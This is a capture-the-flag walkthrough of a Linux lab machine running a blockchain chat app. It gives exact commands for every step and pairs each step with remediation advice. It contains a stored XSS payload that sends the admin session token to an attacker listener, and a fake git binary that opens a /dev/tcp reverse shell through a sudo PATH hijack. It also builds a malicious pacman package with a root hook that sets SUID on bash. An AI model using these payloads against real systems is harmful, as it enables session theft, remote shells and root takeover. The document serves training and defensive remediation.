← all walkthroughs

BlockBlock

Linux· Hard
owned
2026-10-14
time to own
7m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found a small decentralized-chat web app whose 'Report User' feature let any registered user inject JavaScript that ran in the administrator bot's browser. That script read the admin's session token from an internal API, which unlocked an admin-only JSON-RPC proxy to a local Ethereum node. Dumping the blockchain revealed the deployment transactions of a database smart contract whose constructor arguments contained a Linux account's password in plaintext.

SSH access with that password led to a sudo rule allowing the Foundry 'forge' build tool to run as a second user; because forge shells out to 'git' using the caller's PATH, a malicious git binary gave a shell as that user. That user could run pacman as root, so a custom package with a post-install hook set the SUID bit on bash, giving full root control.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Some commands also carry a value in angle brackets — <admin_jwt>, <b64_from_above>, <captured_data_value>, <database_contract_creation_hash>, <low_priv_user>, <second_user> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1EnumerationService discovery and web application reconnaissance
Mapped the exposed services and the chat application
A port scan showed SSH (22), a Flask/Werkzeug web app ('DBLC') on port 80, and a Werkzeug-fronted Ethereum JSON-RPC node on port 8545. Direct RPC reads on 8545 were rejected (HTTP 401) because they required a web-issued token, so I registered an ordinary user on the web app and reviewed its pages, which exposed an /api/info endpoint and an admin-only /admin page referencing /api/json-rpc.
Ports 22, 80 and 8545 open; web server identified as Werkzeug/3.0.3 Python/3.12.3; RPC reads against :8545 returned 401 without a token.
Exact commands 4
shell

Find open ports (expect 22, 80, 8545).

$ nmap -p- --min-rate=1000 $TARGET
shell

Fingerprint the services.

$ nmap -sCV -p22,80,8545 $TARGET
shell

Fetch the DBLC home page and headers.

$ curl -ksS -L --max-time 15 --max-redirs 5 -D - http://$TARGET/
shell

Returns the current block number (12); further RPC reads are blocked without a token.

$ cast bn -r http://$TARGET:8545
2Initial AccessStored Cross-Site Scripting (CWE-79) leading to session token theft
Stole the administrator's session token via stored XSS in the Report User feature
The Report User feature rendered the reported username in the admin bot's browser without output encoding. A base64-wrapped JavaScript payload made the bot fetch /api/info and send the JSON response — which included the admin JWT — to my own listener.
Callback received a data= parameter decoding to {"role":"admin","token":"<JWT>","username":"admin"}.
Exact commands 4
shell

Listener to catch the exfil callback.

$ python3 -m http.server 8000
shell

Base64-encode the JS payload to survive HTML/attribute quoting.

$ echo "(async()=>{const r=await fetch('/api/info');const d=await r.json();fetch('http://$ATTACKER_IP:8000/?data='+btoa(JSON.stringify(d)));})();" | base64 -w0
shell

Paste into the Report User form while logged in as a normal user; the admin bot renders it.

$ Submit this as the reported username: <img src=1 onerror=eval(atob('<b64_from_above>'))>
shell

Decode the captured data= value to recover the admin JWT.

$ echo '<captured_data_value>' | base64 -d
FixEncode all user-submitted content before rendering it to other users or admin toolingCritical
WeaknessThe Report User feature stored a raw, externally supplied username/field and rendered it unescaped in the administrator bot's browser, letting injected JavaScript run with the admin's privileges and steal its session token.
FixHTML-encode every user-controlled value before it is rendered anywhere (including in automated moderation/bot views), and add a strict Content-Security-Policy (script-src 'self') so injected inline scripts cannot execute even if encoding is missed somewhere. Treat the admin review bot as a privileged browser context and give it a short-lived, scope-limited token rather than a full admin session.
3Lateral MovementBroken access control via session-token reuse against an internally trusted RPC proxy (CWE-306/CWE-200)
Used the stolen admin token to reach the authenticated blockchain RPC proxy and dump every transaction
Swapping the browser's session cookie for the stolen admin JWT unlocked /admin and its /api/json-rpc endpoint. A GET on that endpoint returned a second secret (an RPC token); supplying both the admin cookie and the RPC token let a local Flask proxy relay arbitrary JSON-RPC calls to the Ethereum node, which the standard Foundry 'cast' client was then pointed at to read every block and transaction.
Cast bl against the proxy succeeded with the stolen cookie + RPC token; 12 blocks and all transactions were retrieved.
Exact commands 3
shell

GET the endpoint to obtain the RPC proxy token.

$ curl -sSk -H 'Cookie: token=<admin_jwt>' http://$TARGET/api/json-rpc
shell

Validate the local proxy (listening on 80) that injects the RPC token header and admin cookie before forwarding to the node.

$ cast bl 0 -r http://127.0.0.1:80
shell

Walk all 12 blocks and dump every transaction.

$ rpc=http://127.0.0.1:80; for i in $(seq 0 11); do cast bl $i -r $rpc | grep -A2 'transactions:' | grep -Po '0x.+' >> txns; done; for h in $(cat txns); do cast tx $h -r $rpc > $h; done
FixRemove session-cookie-based authorization from the privileged JSON-RPC proxyHigh
WeaknessThe /api/json-rpc endpoint trusted whatever session cookie and bearer token a browser presented, so possession of a stolen admin session cookie plus a leaked RPC token was sufficient to proxy arbitrary calls into the internal Ethereum node, with no additional server-side binding to the legitimate admin session.
FixBind the RPC proxy's authorization to server-side session state (not just a client-supplied cookie value), rotate and scope the RPC token narrowly, and add server-side anomaly detection/rate-limiting on this endpoint. Do not expose raw chain-read RPC proxying to any authenticated role broader than strictly necessary.
4Credential AccessSecrets committed to immutable on-chain data; reused across systems (MITRE ATT&CK T1552 — Unsecured Credentials)
Recovered a Linux account's password from a smart-contract deployment transaction
One of the dumped transactions was a contract creation for a 'Database' contract whose constructor arguments embedded plaintext account credentials. Decoding the hex-encoded creation input revealed a secondary administrator username and password that turned out to also be valid on the Linux host.
Decoded constructor input of the Database.sol creation transaction contained a username/password pair later confirmed to work over SSH.
Exact commands 1
shell

Decode the constructor arguments of the Database contract's creation transaction to recover the embedded credential pair.

$ cast tx <database_contract_creation_hash> input -r http://127.0.0.1:80 | xxd -r -p | strings
FixNever store credentials in smart contract code or on-chain dataCritical
WeaknessA deployed contract's constructor arguments contained a plaintext username/password pair that was permanently and publicly readable from the blockchain, and that password was reused for a real Linux account.
FixNever embed secrets in contract bytecode, constructor arguments, or any on-chain data — blockchain data is immutable and typically world-readable. Store secrets in a proper secrets manager, and eliminate password reuse between application-layer credentials and OS accounts; enforce unique, randomly generated passwords per system and move to SSH key-only authentication.
5FootholdValid accounts / credential reuse (MITRE ATT&CK T1078)
Authenticated over SSH with the recovered credential
The password recovered from the blockchain data was reused for the matching Linux account, giving an interactive shell and access to the user's flag.
Id returned uid=1000 for the target account; user.txt was read from that account's home directory.
Exact commands 2
shell

Authenticate with the password recovered from the chain dump (enter it at the password prompt rather than on the command line).

$ ssh <low_priv_user>@$TARGET
shell

Prove access and read the user flag; replace the shown value with <user.txt> when reporting it.

$ id; hostname; cat /home/<low_priv_user>/user.txt
6Privilege EscalationSudo rule on a trusted tool combined with PATH hijacking of a subprocess call (CWE-426 / GTFOBins-style sudo abuse)
Pivoted to a second account by hijacking the PATH used by a sudo-permitted build tool
Sudo -l showed the foothold account could run a specific Foundry 'forge' binary as a second user with no password, even though it could not read that binary directly. The forge build command shells out to a bare 'git' without an absolute path, so placing a malicious 'git' script earlier in PATH and running the sudo command from a directory with no .git repository caused forge to execute my script as the second user, yielding a reverse shell.
Sudo -l listed: (paul: paul) NOPASSWD: /home/paul/.foundry/bin/forge.
Exact commands 4
shell

Enumerate sudo rights; reveals the NOPASSWD forge rule for the second account.

$ sudo -l
shell

Plant a fake 'git' that opens a reverse shell.

$ mkdir /tmp/dot && printf "#!/usr/bin/bash\nbash -i >& /dev/tcp/$ATTACKER_IP/1337 0>&1\n" > /tmp/dot/git && chmod +x /tmp/dot/git
shell

Run from a directory with no .git so forge's submodule check doesn't short-circuit; forge invokes PATH 'git', running the hijacked script as the second user.

$ cd /tmp && PATH=/tmp/dot:$PATH sudo -u <second_user> /home/<second_user>/.foundry/bin/forge build
shell

Local listener to catch the reverse shell (run before the sudo command).

$ nc -nvlp 1337
FixRemove the NOPASSWD sudo rule on forge and fix unqualified subprocess callsHigh
WeaknessA sudo rule allowed running Foundry's forge binary as another user with no password, and forge internally invokes 'git' by bare name, so an externally controlled PATH caused forge to execute an arbitrary program as that other user.
FixRemove this sudo rule or replace it with a tightly scoped wrapper that sets a fixed, trusted PATH (and ideally invokes git by absolute path) before calling forge. As a general rule, any sudo rule on a dev/build tool should pin env_reset and a secure_path in sudoers so PATH cannot be an unauthorised user-influenced.
7Privilege EscalationAbuse of a trusted package manager's post-install hook running as root (GTFOBins pacman; MITRE ATT&CK T1548 — Abuse Elevation Control Mechanism)
Abused a NOPASSWD pacman rule to build and install a malicious package with a root-executed hook
Sudo -l for the second account showed unrestricted NOPASSWD sudo on pacman, the Arch Linux package manager. A minimal package was built locally with makepkg, carrying an install hook that sets the SUID bit on /usr/bin/bash; installing that package with sudo pacman ran the hook as root, producing a SUID bash that any user could invoke to get a root shell.
Sudo -l showed (ALL: ALL) NOPASSWD: /usr/bin/pacman; /usr/bin/bash permissions changed to -rwsr-sr-x after install.
Exact commands 8
shell

Confirm unrestricted NOPASSWD pacman.

$ sudo -l
(ALL : ALL) NOPASSWD: /usr/bin/pacman
shell

Working directory for the malicious package build.

$ mkdir -p /tmp/pacman/root && cd /tmp/pacman
shell

Install hook that sets the SUID bit on bash when the package installs.

$ printf 'post_install(){ chmod +s /usr/bin/bash; }\n' > root.install
shell

Minimal PKGBUILD referencing the install hook; no real payload files needed.

$ cat > PKGBUILD <<'EOF'
pkgname=privesc
pkgver=1.0
pkgrel=1
pkgdesc="x"
arch=('x86_64')
license=('GPL')
install=root.install
source=()
package(){ mkdir -p "$pkgdir/usr/bin"; }
EOF
shell

Build the package as the unprivileged user; --skipinteg is required because source=() has nothing to checksum.

$ makepkg --skipinteg
shell

Install as root via the NOPASSWD rule; the post_install hook runs as root and sets the SUID bit.

$ sudo pacman -U --noconfirm privesc-1.0-1-x86_64.pkg.tar.zst
shell

Launch bash with -p to preserve the elevated euid from the SUID bit (plain 'bash' drops it).

$ /usr/bin/bash -p
shell

Prove root access and read the root flag; replace the shown value with <root.txt> when reporting it.

$ id; hostname; cat /root/root.txt
FixRemove unrestricted NOPASSWD sudo on pacmanCritical
WeaknessA user had passwordless sudo on the full pacman package manager, which can install arbitrary packages whose install hooks run as root — trivially escalating to a root shell via a SUID bash.
FixNever grant sudo on a package manager without restricting it to a signed, trusted repository and specific operations; in general avoid NOPASSWD sudo on any tool capable of running arbitrary code as root. Remove this rule and, if package installation by this user is required, front it with a vetted wrapper script that whitelists specific package names and verifies signatures.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

Exposed services

22/tcp
80/tcp
8545/tcp